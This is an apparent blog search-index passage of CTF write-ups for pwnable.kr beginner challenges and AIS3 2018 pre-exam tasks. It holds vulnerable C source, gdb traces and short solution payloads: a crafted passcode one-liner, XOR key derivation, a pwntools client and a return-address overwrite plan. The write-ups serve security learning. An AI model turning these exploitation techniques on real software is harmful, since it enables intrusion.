the\ninput(scanf) line first. Specially lines invlove with\nmoney.\nSolution\nvoid play(){ ... betting(); //Prompts user to enter bet amount ...}\nThe bet is given by betting() function in\nplayer().\nint betting() //Asks user amount to bet{ printf("\\n\\nEnter Bet: $"); scanf("%d", &bet); if (bet > cash) //If player tries to bet more money than player has { printf("\\nYou cannot bet more money than you have."); printf("\\nEnter Bet: "); scanf("%d", &bet); return bet; } else return bet;} // End Function\nThe code seems no exploit point to let us change the flow. But I’m\ncurious about why this condition check is not a while loop, infinitely\ncheck until player’s bet is legal?\n","categories":["CTF","pwnable.kr","Toddler's Bottle"],"tags":["CTF","PWN","pwnable.kr","Toddler's Bottle","WriteUps"]},{"title":"pwnable.kr(2) - collision","url":"/2018/05/24/CTF/pwnable-kr/Toddlers_Bottle/2-collision/","content":" ## Problem\nPoints: 3 pt\nDaddy told me about cool MD5 hash collision today.I wanna do something like that too!ssh col@pwnable.kr -p2222 (pw:guest) Link\n\nCode\n#include <stdio.h>#include <string.h>unsigned long hashcode = 0x21DD09EC;unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res;}int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\\n"); return 0; } if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\\n"); return 0;}\nPrepare\nlittle-endian\nLink\nThinking\nL16 需求一個參數作為passcode，L19 passcode必須長20Byte。\nL4 check_password方法，將輸入p強制以int方式處理。\n對應20Byte輸入passcode將轉為5個int處理，呼應L8 for迴圈上限5。\n回傳值為5個int總和。\nL24 若check_password回傳值等於 L3\n0x21DD09EC則獲得flag。\nSolution\n一個字元是由1個Byte所組成，而一個int是由4個Byte所組成。\n所以輸入的字元每4個一組，轉換為整數後相加必須為0x21DD09EC。\n由於輸入必須可以分為5組int,轉為20Byte，20字元。\n直接以0x21DD09EC除以5可得113626824(0x6C5CEC8)餘4。\n則可以確定總和為 0x06C5CEC8 * 4 + 0x06C5CECC。\n因C語言處理字元有順序問題（小序），反轉後轉為字元即為：\n* 4 + 輸出使用Python組合： $ ./col `python -c "print '\\xC8\\xCE\\xC5\\x06' * 4 + '\\xCC\\xCE\\xC5\\x06'"`\nReference\nLittle-endian\n","categories":["CTF","pwnable.kr","Toddler's Bottle"],"tags":["CTF","PWN","pwnable.kr","Toddler's Bottle","WriteUps"]},{"title":"pwnable.kr(3) - bof","url":"/2018/05/24/CTF/pwnable-kr/Toddlers_Bottle/3-bof/","content":" ## Problem\nPoints: 5 pt\nNana told me that buffer overflow is one of the most common software vulnerability. Is that true?Download : http://pwnable.kr/bin/bofDownload : http://pwnable.kr/bin/bof.cRunning at : nc pwnable.kr 9000 Link\n\nCode\n#include <stdio.h>#include <string.h>#include <stdlib.h>void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\\n"); }}int main(int argc, char* argv[]){ func(0xdeadbeef); return 0;}\nThinking\nPrepare\nRegister\n\n\n\nRegister Name\n16bit\n32bit\n64bit\n\n\n\n\nInstruction Pointer\nIP\nEIP\nRIP\n\n\nSource Pointer\nSP\nESP\nRSP\n\n\nBase Pointer\nBP\nEBP\nRBP\n\n\n\nIP / EIP / RIP\n紀錄跳出迴圈後下一個指令地址的暫存器。\nBP / EBP / RBP\n紀錄Stack底部地址的暫存器。 在function call之後，由SP傳遞進BP。\nSP / ESP / RSP\n紀錄Stack頂部地址的暫存器。 在function\ncall之後，紀錄著Stack頂部地址。\nC gets\n#include <stdio.h>char *gets(char *str);\nOn success, the function returns str.If the end-of-file is encountered while attempting to read a character, the eof indicator is set (feof).If this happens before any characters could be read, the pointer returned is a null pointer (and the contents of str remain unchanged).If a read error occurs, the error indicator (ferror) is set and a null pointer is also returned (but the contents pointed by str may have changed).\nSolution\nL15func的傳入參數是0xdeadbeef而且是hardcode。\n我們可以先從gdb找到0xdeadbeef來定位出整個func在stack的起始位址。\n在開始find之前，記得下中斷點在func上,\n並且將整個程式執行到中斷處才去做find。 gdb-peda$ b mainBreakpoint 1 at 0x68dgdb-peda$ b funcBreakpoint 2 at 0x632gdb-peda$ info bNum Type Disp Enb Address What1 breakpoint keep y 0x0000068d <main+3>2 breakpoint keep y 0x00000632 <func+6>Breakpoint 2, 0x56555632 in func ()gdb-peda$ find 0xdeadbeefSearching for '0xdeadbeef' in: None rangesFound 3 results, display max 3 items: bof : 0x56555696 (<main+12>: out dx,eax) bof : 0x56556696 --> 0xdeadbeef [stack] : 0xffffced0 --> 0xdeadbeef gdb-peda$ \n在[stack]中，0xffffced0就是func的開頭位址，\n後面並且依次堆疊上去。\nReference\nAssembly\n- Registers Cplusplus -\ngets\n","categories":["CTF","pwnable.kr","Toddler's Bottle"],"tags":["CTF","PWN","pwnable.kr","Toddler's Bottle","WriteUps"]},{"title":"pwnable.kr(4) - flag","url":"/2018/05/24/CTF/pwnable-kr/Toddlers_Bottle/4-flag/","content":" ## Problem\nPoints: 7 pt\nPapa brought me a packed present! let's open it.Download : http://pwnable.kr/bin/flagThis is reversing task. all you need is binary Link\n\nThinking\n程式沒有辦法直接使用objdump或者是gdb來反組譯。\n透過 hexdump -C <filename> | grep -C 1 UPX\n檢查是不是有加殼。 000000a0 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 |.......... .....|000000b0 fc ac e0 a1 55 50 58 21 1c 08 0d 16 00 00 00 00 |....UPX!........|000000c0 21 7c 0d 00 21 7c 0d 00 90 01 00 00 92 00 00 00 |!|..!|..........|\n結果顯示是有經過UPX加殼，於是upx -d <filename>脫殼。\n脫殼之後就可以用gdb或者是objdump反組譯。\nCode\nmain0x0000000000401164 <+0>: push rbp0x0000000000401165 <+1>: mov rbp,rsp0x0000000000401168 <+4>: sub rsp,0x100x000000000040116c <+8>: mov edi,0x4966580x0000000000401171 <+13>: call 0x402080 <puts>0x0000000000401176 <+18>: mov edi,0x640x000000000040117b <+23>: call 0x4099d0 <malloc>0x0000000000401180 <+28>: mov QWORD PTR [rbp-0x8],rax0x0000000000401184 <+32>: mov rdx,QWORD PTR [rip+0x2c0ee5] # 0x6c2070 <flag>0x000000000040118b <+39>: mov rax,QWORD PTR [rbp-0x8]0x000000000040118f <+43>: mov rsi,rdx0x0000000000401192 <+46>: mov rdi,rax0x0000000000401195 <+49>: call 0x4003200x000000000040119a <+54>: mov eax,0x00x000000000040119f <+59>: leave 0x00000000004011a0 <+60>: ret \nSolution\n程式當中+32特別強調了flag。\n直接單步執行到+39行。\n接著查看rdx裏面放了什麼。\ngdb-peda$ x /s $rdx0x496628: "UPX...? sounds like a delivery service :)"gdb-peda$ \nGET flag!\nPrepare\nRegister\n\n\n\nName\n16bit\n32bit\n64bit\n\n\n\n\nData\nDX\nEDX\nRDX\n\n\n\nUPX\nReference\nAssembly\n- Registers\n","categories":["CTF","pwnable.kr","Toddler's Bottle"],"tags":["CTF","PWN","pwnable.kr","Toddler's Bottle","WriteUps"]},{"title":"pwnable.kr(5) - passcode","url":"/2018/05/25/CTF/pwnable-kr/Toddlers_Bottle/5-passcode/","content":" ## Problem\nPoints: 10 pt\nMommy told me to make a passcode based login system.My initial C code was compiled without any error!Well, there was some compiler warning, but who cares about that?ssh passcode@pwnable.kr -p2222 (pw:guest) Link\n\nThinking\nCode\n#include <stdio.h>#include <stdlib.h>void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\\n"); exit(0); }}void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\\n", name);}int main(){ printf("Toddler's Secure Login System 1.0 beta.\\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\\n"); return 0;}\nSolution\nmain當中只有兩個function,\nL27welcome看起來很正常，scanf有指定字元長度100，沒有辦法做bof。\n接著看L4login，其中L9跟L14的scanf都沒有&取址符號，所以會直接取用這兩個沒有初始化的變數內容來當作地址輸入。\n在沒辦法正確輸入數值到passcode1跟passcode2的狀況之下，理所當然會得到一個Address boundary error，所以連試都不用試了。\n所以我們需要找出方法，把passcode1的內容設定成一個合法的地址。\n幾個輸入點只有welcome的L30，login的L9,L14。\n雖然welcome的scanf有指定字元長度，\n但是還是用gdb看一下能不能蓋內容過去。\nBreakpoint 1, 0x08048668 in main ()gdb-peda$ x $ebp0xffcc3728: 0x00000000gdb-peda$ \nPrepare\nC scanf\n#include <stdio.h>int scanf(const char *format, ...);\nIf success, return the number of items of argument list successfully filled.if a reading error happens or the EOF is reached while reading, the proper indicator is set. \n正常來講,\nscanf的常見格式應該為scanf(\"%s\", &var);。\n若scanf沒有取址符號&，則直接將var的值作為地址寫入。\n所以平常情況下，沒有加上取址符號會造成Address boundary error\nReference\n","categories":["CTF","pwnable.kr","Toddler's Bottle"],"tags":["CTF","PWN","pwnable.kr","Toddler's Bottle","WriteUps"]},{"title":"pwnable.kr(6) - random","url":"/2018/05/30/CTF/pwnable-kr/Toddlers_Bottle/6-random/","content":" ## Problem\nPoints: 1 pt\nDaddy, teach me how to use random value in programming!ssh random@pwnable.kr -p2222 (pw:guest) Link\n\nCode\n#include <stdio.h>int main(){ unsigned int random; random = rand(); // random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\\n"); system("/bin/cat flag"); return 0; } printf("Wrong, maybe you should try 2^32 cases.\\n"); return 0;}\nThinking\nL32產生一個亂數放入random。\nL37如果輸入的key跟random作互斥或(XOR)運算後等於0xdeadbeef，則獲得flag。\nPrepare\nC rand\n#include <stdlib.h>int rand (void);\nAn integer value between 0 and RAND_MAX.\nrand()所產生的，是使用Linear congruential generator(線性同餘法, LCG)所產生的偽亂數。\nSolution\n本題只有使用rand()取亂數，而rand()在呼叫前會檢查是否呼叫過srand()，\n如果有的話，則把seed拿來取亂數。\n否的話，則自動呼叫srand(1)再取亂數。\n所以按照L34來看，程式每次執行的random變數都會是一樣，因為每次使用的seed都是1。\n進入gdb來看大略的程式： maingdb-peda$ disassDump of assembler code for function main: 0x00000000004005f4 <+0>: push rbp 0x00000000004005f5 <+1>: mov rbp,rsp 0x00000000004005f8 <+4>: sub rsp,0x10 0x00000000004005fc <+8>: mov eax,0x0 0x0000000000400601 <+13>: call 0x400500 <rand@plt> 0x0000000000400606 <+18>: mov DWORD PTR [rbp-0x4],eax 0x0000000000400609 <+21>: mov DWORD PTR [rbp-0x8],0x0 0x0000000000400610 <+28>: mov eax,0x400760 0x0000000000400615 <+33>: lea rdx,[rbp-0x8]\n可以看到在+13的部份呼叫了rand方法。\n而下面的+18,+21則是在把值放進去，高位元0x8放入了0x0，低位元0x4放入了EAX的值。\n這個時候我們只需要察看EAX裏面是什麼，就可以知道rand所產生的數是多少了。\ngdb-peda$ xinfo $eax0x6b8b4567 gdb-peda$ \n所以0x6b8b4567就是實際rand出來的數值。\n1 ^ 1 = 01 ^ 0 = 1A ^ B = CC ^ B = A\nkey ^ EAX = 0xdeadbeef\n然後0xdeadbeef ^ EAX = key\n於是套入0xdeadbeef ^ 0x6b8b4567 = 0xb526fb88\nXOR完的結果還需要轉換成十進位，因為key的輸入是採十進位輸入。\n最終結果是3039230856\n直接開啟程式，輸入就可以獲得flag了。\nReference\nCplusplus\n- rand\n","categories":["CTF","pwnable.kr","Toddler's Bottle"],"tags":["CTF","PWN","pwnable.kr","Toddler's Bottle","WriteUps"]},{"title":"pwnable.kr(7) - input","url":"/2018/05/31/CTF/pwnable-kr/Toddlers_Bottle/7-input/","content":" ## Problem\nPoints: 4 pt\nMom? how can I pass my input to a computer program?ssh input2@pwnable.kr -p2222 (pw:guest) Link\n\nThinking\nCode\n#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/socket.h>#include <arpa/inet.h>int main(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\\n"); printf("Let's see if you know how to give input to program\\n"); printf("Just give me correct inputs then you will get the flag :)\\n"); // argv if(argc != 100) return 0; if(strcmp(argv['A'],"\\x00")) return 0; if(strcmp(argv['B'],"\\x20\\x0a\\x0d")) return 0; printf("Stage 1 clear!\\n"); // stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "\\x00\\x0a\\x00\\xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "\\x00\\x0a\\x02\\xff", 4)) return 0; printf("Stage 2 clear!\\n"); // env if(strcmp("\\xca\\xfe\\xba\\xbe", getenv("\\xde\\xad\\xbe\\xef"))) return 0; printf("Stage 3 clear!\\n"); // file FILE* fp = fopen("\\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\\x00\\x00\\x00\\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\\n"); // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\\xde\\xad\\xbe\\xef", 4)) return 0; printf("Stage 5 clear!\\n"); // here's your flag system("/bin/cat flag"); return 0;}\nSolution\nPrepare\nReference\n","categories":["CTF","pwnable.kr","Toddler's Bottle"],"tags":["CTF","PWN","pwnable.kr","Toddler's Bottle","WriteUps"]},{"title":"pwnable.kr(8) - leg","url":"/2018/08/02/CTF/pwnable-kr/Toddlers_Bottle/8-leg/","content":" ## Problem Points: 2 pt\nDaddy told me I should study arm.But I prefer to study my leg!Download : http://pwnable.kr/bin/leg.cDownload : http://pwnable.kr/bin/leg.asmssh leg@pwnable.kr -p2222 (pw:guest) Link\n\nCode\n#include <stdio.h>#include <fcntl.h>int key1(){ asm("mov r3, pc\\n");}int key2(){ asm( "push {r6}\\n" "add r6, pc, $1\\n" "bx r6\\n" ".code 16\\n" "mov r3, pc\\n" "add r3, $0x4\\n" "push {r3}\\n" "pop {pc}\\n" ".code 32\\n" "pop {r6}\\n" ); }int key3(){ asm("mov r3, lr\\n");}int main(){ int key=0; printf("Daddy has very strong arm! : "); scanf("%d", &key); if( (key1()+key2()+key3()) == key ){ printf("Congratz!\\n"); int fd = open("flag", O_RDONLY); char buf[100]; int r = read(fd, buf, 100); write(0, buf, r); } else{ printf("I have strong leg :P\\n"); } return 0;}\n(gdb) disass mainDump of assembler code for function main: 0x00008d3c <+0>: push {r4, r11, lr} 0x00008d40 <+4>: add r11, sp, #8 0x00008d44 <+8>: sub sp, sp, #12 0x00008d48 <+12>: mov r3, #0 0x00008d4c <+16>: str r3, [r11, #-16] 0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132> 0x00008d54 <+24>: bl 0xfb6c <printf> 0x00008d58 <+28>: sub r3, r11, #16 0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136> 0x00008d60 <+36>: mov r1, r3 0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf> 0x00008d68 <+44>: bl 0x8cd4 <key1> 0x00008d6c <+48>: mov r4, r0 0x00008d70 <+52>: bl 0x8cf0 <key2> 0x00008d74 <+56>: mov r3, r0 0x00008d78 <+60>: add r4, r4, r3 0x00008d7c <+64>: bl 0x8d20 <key3> 0x00008d80 <+68>: mov r3, r0 0x00008d84 <+72>: add r2, r4, r3 0x00008d88 <+76>: ldr r3, [r11, #-16] 0x00008d8c <+80>: cmp r2, r3 0x00008d90 <+84>: bne 0x8da8 <main+108> 0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140> 0x00008d98 <+92>: bl 0x1050c <puts> 0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144> 0x00008da0 <+100>: bl 0xf89c <system> 0x00008da4 <+104>: b 0x8db0 <main+116> 0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148> 0x00008dac <+112>: bl 0x1050c <puts> 0x00008db0 <+116>: mov r3, #0 0x00008db4 <+120>: mov r0, r3 0x00008db8 <+124>: sub sp, r11, #8 0x00008dbc <+128>: pop {r4, r11, pc} 0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9 0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9 0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0 0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc 0x00008dd0 <+148>: andeq r10, r6, r4, asr #9End of assembler dump.(gdb) disass key1Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lrEnd of assembler dump.(gdb) disass key2Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lrEnd of assembler dump.(gdb) disass key3Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lrEnd of assembler dump.\nThinking\nProblem provide C code and ARM asm code, just focus on C code\nfirst.\nDon’t look around and pay attention on main.\nif( (key1()+key2()+key3()) == key ){ printf("Congratz!\\n"); int fd = open("flag", O_RDONLY); char buf[100]; int r = read(fd, buf, 100); write(0, buf, r); } else{ printf("I have strong leg :P\\n");}\nThe is tells us the result of key1(),\nkey2() and key3() will be answer to the flag.\nLet’s solve some ARM!\nBefore start on ARM, make sure you understance basic ASM instruction\nand ARM’s pipline & thumb modes. Reference at here.\nSolution\nkey1()\n(gdb) disass key1Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr End of assembler dump.\nIn order to use register, first push the register’s value into stack.\nSo <+0> make a push of r11, and assign\nsp to r11. Ofcourse, remember to give value\nback to register from stack and restore sp, which\n<+16> and <+20> is doing.\nSo the code will looks like: 0x00008cdc <+8>: mov r3, pc0x00008ce0 <+12>: mov r0, r3...0x00008cec <+24>: bx lr Here\n<+8> move pc into r3, before we do that. We should\ncheck pc’s value, and it leads us to check the processor’s status is\nunder ARM or Thumb. In order to check that, we\nshould seek any BX or BLX instruction before\nenter this function in main, which is nothing we can find!\nlooool. So, ARM status is default for processor, then we can sure the pc\nwill point to current instruction + 8, and that is\n0x00008cdc <+12> + 8 = 0x00008ce4. Then move\nr3 to r0, which is the function’s return\nvalue.\nAfter that, a cool bx lr back to main. BUT!\nthis is a bx which means it may cause status change. So we\nneed to check what is in lr to change mode or node. The\nvalue of lr is the next instruction address before calling\nkey1(), and that would be 0x00008d6c, the last\nbit of lr is 0, so we are still under\nARM status.\nkey2()\n(gdb) disass key2Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lrEnd of assembler dump.\nUnder ARM status, r11 stores main’s\nsp, and r6 is pc + 1, which\npc is\n0x00008cfc <+12> + 8 + 1 = 0x00008d05. And than a\nbx to exchange status, r6’s last bit is\n1, so change to thumb mode. Move\npc into r3, which\nr3 = 0x00008d04 + 4 = 0x00008d08. After that make a\nadds to r3, so right now\nr3 = 0x00008d0c. blah blah blah. and move r3\nto r0. So the return is 0x00008d0c\nDon’t forget <+44>, check lr is\n0x00008d74, cool, still under ARM status. ###\nkey3() (gdb) disass key3Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lrEnd of assembler dump. Stll ARM status, the first thing we\nfound is lr put into r3, and lr\nis 0x00008d80 <+68> at main. And? not,\nthere is no then, that is the return value, looooooooooool.!\nSummation\nSo key1() + key2() + key3() =\n0x00008ce4 + 0x00008d0c + 0x00008d80 which is\n0x0001a770.\nIf you noticed….\nWe seems not care about main’s value, but this is the time we should\ntake a look about it. After key1() executed, the return\nvalue is 0x00008ce4, this value have been store at\nr4, which shows by 0x00008d6c <+48>.\nAlso after key2() executed, 0x00008d0c been\nstore at r3. Here is funny things at\n<+60> in main(), which is\n0x00008d78 <+60>: add r4, r4, r3. Now,\nr4 += r3, we may need this value later, just put it next to\nyou.\nAfter key3() executed, the return value is\n0x00008d80, and r3 is already been overwrite\nto it. And r2 = r4 + r3, at this point, the r2\nstores summation of all three functions.\nReference\nARM Instruction Set Architecture\nNotes.\n","categories":["CTF","pwnable.kr","Toddler's Bottle"],"tags":["CTF","PWN","pwnable.kr","Toddler's Bottle","WriteUps"]},{"title":"AIS3 2018 First Try","url":"/2018/06/03/CTF/AIS3/2018/pre_exam/AIS3-2018-First-Try/","content":"0x00 This is a story\nabout a CTF newbie.\n大概在上個禮拜，我還只是聽過CTF，知道是個搶旗遊戲。\n但是要怎麼搶，要怎麼逆向，要怎麼走pwn gdb都還是零基礎。\n就連\n","categories":["CTF","AIS3","2018"],"tags":["CTF","AIS3","pre exam"]},{"title":"crypto","url":"/2018/08/01/CTF/AIS3/2018/pre_exam/crypto/","content":"This is 2018 AIS3 prexam crypto writeups. \npow\nfrom pwn import *import hashlibfrom os import urandomp = remote('104.199.235.135',20000)print(p.recvuntil("== '"))prefix = p.recvuntil("'", drop=True)sha_start = '000000'print(prefix, sha_start)while True: x = urandom(8).encode('hex') if hashlib.sha256(prefix + x).hexdigest().startswith('000000'): print('found' + prefix + x) p.sendlineafter('x = ', prefix + x) print(p.recvline()) break\nJust rand…\n\nXOR\nUse AIS{ to calculate first four keys. Use\n} to confirm key length is 10 bytes. import binasciiwith open('flag-encrypted', 'rb') as encFile: encData = encFile.read() byteData = binascii.hexlify(encData) hexData = [byteData[i:i + 2] for i in range(0, len(byteData), 2)] #print(len(hexData)) #print(hex(int(hexData[0], 16) ^ ord('A'))) #print(hex(int(hexData[1], 16) ^ ord('I'))) #print(hex(int(hexData[2], 16) ^ ord('S'))) #print(hex(int(hexData[3], 16) ^ ord('{'))) #print(hex(int(hexData[150], 16) ^ ord('}'))) #print(chr(0x16 ^ int(hexData[150], 16))) #print(hex(int(hexData[151], 16) ^ 0x16)) #print(hex(int(hexData[152], 16) ^ 0x09)) #print(hex(int(hexData[153], 16) ^ 0x7C)) #print(hex(int(hexData[154], 16) ^ 0xC7)) #print(hex(int(hexData[155], 16) ^ 0xDD)) #print(hex(int(hexData[156], 16) ^ 0x4F)) #print(hex(int(hexData[157], 16) ^ 0x2E)) #print(hex(int(hexData[158], 16) ^ 0x92)) #print(hex(int(hexData[159], 16) ^ 0xA7)) #print(hex(int(hexData[160], 16) ^ 0xFF)) key = [0x16, 0x09, 0x7C, 0xC7, 0xDD, 0x4F, 0x2E, 0x92, 0xA7, 0xFF] i = 0 for each in range(0, 152): print(chr(int(hexData[each], 16) ^ key[i]), end='') i = i + 1 if i != 9 else 0\nYES, JUST CALCULATE WITH HAND IS COOOOOL!!!!\n","categories":["CTF","AIS3","2018"],"tags":["CTF","AIS3","pre exam"]},{"title":"pwnable.kr(9) - mistake","url":"/2018/10/23/CTF/pwnable-kr/Toddlers_Bottle/9-mistake/","content":" ## Problem Points: 1pt\nWe all make mistakes, let's move on.(don't take this too seriously, no fancy hacking skill is required at all)This task is based on real eventThanks to dhmonkeyhint : operator priorityssh mistake@pwnable.kr -p2222 (pw:guest) Link\n\nCode\n#include <stdio.h>#include <fcntl.h>#define PW_LEN 10#define XORKEY 1void xor(char* s, int len){ int i; for(i=0; i<len; i++){ s[i] ^= XORKEY; }}int main(int argc, char* argv[]){ int fd; if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ printf("can't open password %d\\n", fd); return 0; } printf("do not bruteforce...\\n"); sleep(time(0)%20); char pw_buf[PW_LEN+1]; int len; if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ printf("read error\\n"); close(fd); return 0; } char pw_buf2[PW_LEN+1]; printf("input password : "); scanf("%10s", pw_buf2); // xor your input xor(pw_buf2, 10); if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ printf("Password OK\\n"); system("/bin/cat flag\\n"); } else{ printf("Wrong Password\\n"); } close(fd); return 0;}\nThinking\nWhat the hint of operator priority. It tells you every\nthing!\nSolution\nFirst\nat L17, look at fd = open(....) < 0, will you be\ncurious operator = execute first or\n<?\nThe answer is < first, so if open()\nsuccessfully executed, it will return 0. Then\nfd = 0 < 0 which is\nfd = 0.\nAt L27, there is a read() function is waiting you, when\nthe fd, what does that means? When\nfile descriptor is 0, that is\nstandard input, commonly aka Keyboard Input\nlool.\nSo…?\nThe code’s error operator priority cause it ask Keyboard input twice.\nAt Line38 make a Exclusive-OR(XOR) at our second input, if the first\ninput matches second input’s xor result. Then we got flag. Is that\nsimple?\nXOR TIME!!!!!\nBoth first and second input takes a string with length 10. You will\nnot want to process any situation with ASCII is 0, so make\nsure you do fill in every characters. #define PW_LEN 10#define XORKEY 1...void xor(char* s, int len){ int i; for(i=0; i<len; i++){ s[i] ^= XORKEY; }} The funny thing is,\n#define doesn’t tells us any type before compile. At this\ncase, s[i] ^= 1, so only last(lowest) bit will be reverse\nin each character. If we input a B(0x01000010), after xor,\nit will be C(0x01000011).\nGive BBBBBBBBBB and CCCCCCCCCC, hooray!\nInteresting thing.\nSome how, you may encount a long delay. I bet you did notice about\nsleep(time(0)%20);\n","categories":["CTF","pwnable.kr","Toddler's Bottle"],"tags":["CTF","PWN","pwnable.kr","Toddler's Bottle","WriteUps"]},{"title":"pwn","url":"/2018/08/01/CTF/AIS3/2018/pre_exam/pwn/","content":"This is 2018 AIS3 prexam pwn writeups. \nmail\ndisass shows nothing.\nobjdump -d ./mail | less found a function called\nreply. Use gdb check it.\ngdb-peda$ disass replyDump of assembler code for function reply: 0x0000000000400796 <+0>: push rbp 0x0000000000400797 <+1>: mov rbp,rsp 0x000000000040079a <+4>: sub rsp,0x10 0x000000000040079e <+8>: mov edi,0x400928 0x00000000004007a3 <+13>: call 0x400610 <puts@plt> 0x00000000004007a8 <+18>: mov edi,0x40095b 0x00000000004007ad <+23>: mov eax,0x0 0x00000000004007b2 <+28>: call 0x400630 <printf@plt> 0x00000000004007b7 <+33>: mov esi,0x400970 0x00000000004007bc <+38>: mov edi,0x400972 0x00000000004007c1 <+43>: call 0x400680 <fopen@plt> 0x00000000004007c6 <+48>: mov QWORD PTR [rbp-0x8],rax ...End of assembler dump.gdb-peda$ \nfopen so make a return address of main\nchange to reply.\nEnter main function and check it has two variable to\ncover RET of main. Make a break point at first\nvariable input. gdb-peda$ disassDump of assembler code for function main: ... 0x0000000000400853 <+81>: call 0x400630 <printf@plt> 0x0000000000400858 <+86>: lea rax,[rbp-0x20] 0x000000000040085c <+90>: mov rdi,rax 0x000000000040085f <+93>: mov eax,0x0 0x0000000000400864 <+98>: call 0x400650 <gets@plt> ...gdb-preda$ b *0x0000000000400864Breakpoint 2 at 0x400864gdb-peda$ info bNum Type Disp Enb Address What1 breakpoint keep y 0x0000000000400806 <main+4> breakpoint already hit 1 time2 breakpoint keep y 0x0000000000400864 <main+98>gdb-peda$ \nExecute program and get main function’s 